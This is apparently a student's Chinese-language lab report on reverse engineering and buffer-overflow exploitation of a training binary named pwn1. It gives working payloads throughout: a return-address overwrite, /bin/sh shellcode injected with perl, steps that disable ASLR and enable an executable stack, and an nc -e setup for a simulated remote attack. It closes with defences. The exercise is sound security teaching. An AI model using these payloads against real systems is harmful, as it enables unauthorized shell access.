20201226马瑞婕《网络对抗技术》 exp1 逆向与Bof基础

20201226马瑞婕 《网络对抗技术》 exp1 逆向与Bof基础
文章目录
基础知识
　　　　1. NOP, JNE, JE, JMP, CMP汇编指令的机器码:
　　　　2. 掌握反汇编与十六进制编程器

1 逆向及Bof基础实践说明
　　　　1.1 实践目标
2 直接修改程序机器指令，改变程序执行流程
3 通过构造输入参数，造成BOF攻击，改变程序执行流
　　　　3.1 反汇编，了解程序的基本功能
　　　　3.2 确认输入字符串哪几个字符会覆盖到返回地址
　　　　3.3 确认用什么值来覆盖返回地址
　　　　3.4 构造输入字符串
4 注入Shellcode并执行
　　　　4.1 准备一段Shellcode
　　　　4.2 准备工作
　　　　4.3 构造要注入的payload
　　　　4.4 结合nc模拟远程攻击
5 Bof攻击防御技术
　　　　5.1. 从防止注入的角度
　　　　5.2. 注入入了也不让运行
　　　　5.3. 增加shellcode的构造难度
　　　　5.4 从管理的角度
实验感想

---

基础知识

1. NOP, JNE, JE, JMP, CMP汇编指令的机器码:

NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90），实验中我们构造滑行区就是用的这个机器命令x90。

JNE：条件转移指令，如果不相等则跳转。（机器码：75）

JE：条件转移指令，如果相等则跳转。（机器码：74）

JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB）段内直接近转移Jmp near（机器码：E9）段内间接转移Jmp word（机器码：FF）段间直接(远)转移Jmp far（机器码：EA）

CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2. 掌握反汇编与十六进制编程器

反汇编主要用的命令是objdump -d 目标文件 | more

十六进制编程器是wxHexEditor，可以进行十六进制的查看和相应修改，避免我们对vim编辑器的操作不熟悉导致的错误。

1 逆向及Bof基础实践说明

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

三个实践内容如下：

1.手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
2.利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。
这几种思路，基本代表现实情况中的攻击目标:

这几种思路，基本代表现实情况中的攻击目标:

1.运行原本不可访问的代码片段
2.强行修改程序执行流
3.以及注入运行任意代码。

2 直接修改程序机器指令，改变程序执行流程

知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具

学习目标：理解可执行文件与机器指令

进阶：掌握ELF文件格式，掌握动态技术

---

首先，我选择直接将pwn1文件拖至kali的桌面
随后右键，选择“在这里打开终端”。
进入root
然后进行反汇编。输入：objdump -d pwn1226

根据内存地址80484b5，找到汇编指令"call 8048491 "

其对应的机器指令为e8 d7 ff ff ff，e8在机器指令中意为跳转
当本条指令执行时，机器会将后面的相对地址d7 ff ff ff加上eip寄存器中的值，此时eip中的值为80484ba，得到的和就是下一条应该跳转到的指令的地址
此处的d7 ff ff ff为补码，对应十进制的-41，下一条应该跳转的地址为EIP+d7ffffff=80484ba-0x29=8048491，正对应上面物理地址8048491处的foo函数。

实践内容1通过直接修改机器指令使得getshell函数被调用。getshell函数对应的地址为0804847d，getShell-80484ba对应的补码为c3ffffff，即修改d7ffffff为c3ffffff。

复制pwn1226到pwn1226mrj，在终端使用vi打开pwn1226mrj进行机器指令的修改，修改步骤如下：

cd pwn1226 pwn1226mrj

vi #打开编辑文件；

:%!xxd #将文件转换为十六进制编辑模式；

/e8 d7  #找到修改位置,中间一定要打空格；

i #进入编辑模式；

:%!xxd -r  #转回二进制模式；

:wq保存退出

修改后进行反汇编：

找到e8 d7

此时已经改为c3ffffff

在终端输入./pwn1226mrj,输入指令ls，程序pwn1226mrj可以正常运行，成功通过直接修改机器指令实现对程序调用函数的改变

3 通过构造输入参数，造成BOF攻击，改变程序执行流

知识要求：堆栈结构，返回地址c
学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
进阶：掌握ELF文件格式，掌握动态技术

---

3.1 反汇编，了解程序的基本功能

首先使用反汇编命令objdump -d pwn1将代码进行反汇编
可以发现foo函数存在缓冲区漏洞，即每次系统只预留（28）字节的缓冲区空间，此时如果我们想办法输入过长的数据，使得超出部分覆盖了原本的返回地址，并且使得覆盖的新数据恰好为函数getshell的地址，这样就能成功使得程序调用getshell函数。

3.2 确认输入字符串哪几个字符会覆盖到返回地址运行这步时需检查自己的虚拟机是否有安装gdb，在终端中输入gdb -v即可 输入命令之后提示虚拟机没有安装GDB，在终端中进入管理员模式，输入以下命令进行GDB的安装：

sudo chmod a+w /etc/apt/sources.list

sudo chmod a-w /etc/apt/sources.list

apt-get update

apt-get install gdb

输入完毕后稍等片刻完成GDB安装，再次输入gdb -v显示版本号即为安装成功：

随后根据实验指导书上的步骤进行分析

输入gdb pwn1226进入调试模式，输入r开始调试：

当输入的为1111111122222222333333334444444455555555，可以看到eip的值0x35353535也就是5555的ASCII码：

当输入字符串1111111122222222333333334444444412345678时
可以看到eip的值0x34333231也就是1234逆序的ASCII码，存储模式为小端模式：

此时输入11111111222222223333333344444444\x7d\x84\x04\x08即可将getshell的地址覆盖到程序的返回地址中：

3.4 构造输入字符串

因为我们无法直接通过键盘输入\x7d\x84\x04\x08这样的十六进制字符串，所以我们需要将字符串11111111222222223333333344444444\x7d\x84\x04\x08作为一个文件，然后将其作为pwn1226的输入即可完成十六进制字符串的录入。
关于Perl：

Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用。
使用输出重定向“>”将perl生成的字符串存储到文件input中。

---

首先输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input将字符串存储到文件“input”中

使用命令xxd input以十六进制的形式查看文件input，可以看到成功将十六进制字符串以文件形式存储，将input的输入，通过管道符“|”，作为pwn1226的输入：

4. 注入Shellcode并执行

4.1 准备一段Shellcodeshellcode就是一段机器指令（code）

通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。

在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

---

本实验以以下shellcode为例：
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

首先需要安装prelink软件包以执行execstack命令用于对程序的堆栈进行设置：
根据班课资源提示步骤进行解压及安装配置：

建议将prelink整个压缩包拖进kali后再进行解压，不要在Windows内解压。

配置完毕之后先通过execstack -s pwn1226指令来设置堆栈可执行
再用 execstack -q 指令查询文件的堆栈是否可执行
显示X pwn1226即为堆栈可执行。

接下来使用如下指令来关闭地址随机化：

more /proc/sys/kernel/randomize_va_space

echo "0" > /proc/sys/kernel/randomize_va_space

more /proc/sys/kernel/randomize_va_space

4.3 构造要注入的payload。

根据实验指导书提示：

Linux下有两种基本构造攻击buf的方法：

retaddr+nop+shellcode

nop+shellcode+retaddr

即判断shellcode是在缓冲区的前面还是在缓冲区的后面

---

这里进行尝试的结构为：anything+retaddr+nops+shellcode。

输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒：最后一个字符千万不能是\x0a。不然下面的操作就做不了了。

接下来我们来确定\x4\x3\x2\x1到底该填什么。

打开一个终端1注入这段攻击buf：
(cat input_shellcode;cat) | ./pwn1226

注意：输入该代码后回车一次即可，无需多次回车至出现������1�Ph//shh/bin��PS��1Ұ，因为出现该字样后在前往另外一个终端时会无法attach上该进程。

再打开另一个终端2，用gdb来调试pwn1226这个进程。
首先使用指令ps -ef | grep pwn1226找到pwn1226的进程号为23954，随后启动gdb进行调试。

先输入指令attach 23954来联系上该进程

使用指令disassemble foo设置断点，这里看到ret指令处的地址为0x080484ae，使用指令break *0x080484ae设置断点，输入c继续运行

注意：在输入c(即continue那一步）时，先应返回终端1输入一个回车！

终端2，此处要回到终端一输入一个回车：

此时终端1显示������1�Ph//shh/bin��PS��1Ұ**：

终端2输入c继续运行，而后输入info r esp,此处我的esp值为ffffd01c :

根据实验指导书跳过坑

由于在ffffd01c处看到0x01020304，而shellcode就挨着，所以地址为0xffffd020

故我的输入为perl -e 'print "A" x 32;print "\x20\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\x17\xff\xff\x00"' > input_shellcode

成功！

4.5 结合nc模拟远程攻击

kali NAT ip 192.168.48.129

Ubuntu NAT ip 192.168.48.131

在kail中输入指令nc -lvnp 1226 -e ./pwn1226模拟一个有漏洞的网络服务：

这么做的目的在于将kail设置成为服务器，也就是被攻击机

主机2，连接主机1并发送攻击载荷：

5 Bof攻击防御技术

5.1. 从防止注入的角度。

在编译时，编译器在每次函数调用前后都加入一定的代码，用来设置和检测堆栈上设置的特定数字，以确认是否有bof攻击发生。

GCC 中的编译器堆栈保护技术

5.2. 注入入了也不让运行。

结合CPU的页面管理机制，通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上，也执行不了。

通过execstack -s pwn1226 来设置堆栈可执行
通过execstack -q pwn1226 来查询文件的堆栈是否可执行

5.3. 增加shellcode的构造难度。

结合CPU的页面管理机制，通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上，也执行不了。

shellcode中需要猜测返回地址的位置，需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实：应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR，地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。

proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制（address space layout randomization)，有以下三种情况

0 - 表示关闭进程地址空间随机化。

1 - 表示将mmap的基址，stack和vdso页面随机化。

2 - 表示在1的基础上增加栈（heap）的随机化。

5.4 从管理的角度

加强编码质量。注意边界检测。使用最新的安全的库函数。

实验感想

• 本次实验室本学期第一次网络攻防实验，之前的专业课对Linux有一定的了解。不过之前一直都是用Ubuntu，kail还是第一次使用，操作起来感觉有点神奇。实验中遇到的不理解的原理或者语句，也都通过云班课上的视频、之前学长学姐的实验报告，加之上网搜索，结合老师课上讲的内容，也都大致理解，并顺利完成本次实验。就是第一次完成实验的时候，并未按老师要求的命名格式来命名文件，导致后面的问题截图只有虚拟机名字有学号姓名，文件名则还是pwn1，不过前面的截图已经都按照要求的命名格式重新做了一遍。

• 本次实验遇到的第一个问题是，在进行第一个实践内容的时候，并未在pwn2进行，导致在进行第三个实践内容的时候，难以进行下去。
  终端1在再次按下空格时并未出现乱码，且终端2也出现问题无法进行下去。其实就是对原理的理解不到位，我们是用自己构造的shellcode注入并运行。我们使用的是nop+shellcode+retaddr结构。nop一为是了填充，二是作为“着陆区/滑行区”。只要nop在返回地址的位置，自然会滑到shellcode。在断点处，esp的值已经回到foo的最开始，故esp+4,就是shellcode代码需要执行的部分。
  

• 第二的问题是，因为在安装execstack时出现问题，并未成功安装，实现命令时出现一下情况：
  
  后续在查阅资料并在学长学姐的实验报告的帮助下顺利安装，并将实验继续进行下去。

• 第三个问题就是对地址覆盖原理的理解，其实是利用了堆栈溢出，原本一共有32位，其中返回地址4位，缓冲区28位，当输入位数大于32位时，会造成缓冲区溢出攻击，形成覆盖，此时输入的第33-36位为实际返回地址的值。此时，CPU执行当前返回地址跳转的栈中代码，此时就完成了地址覆盖。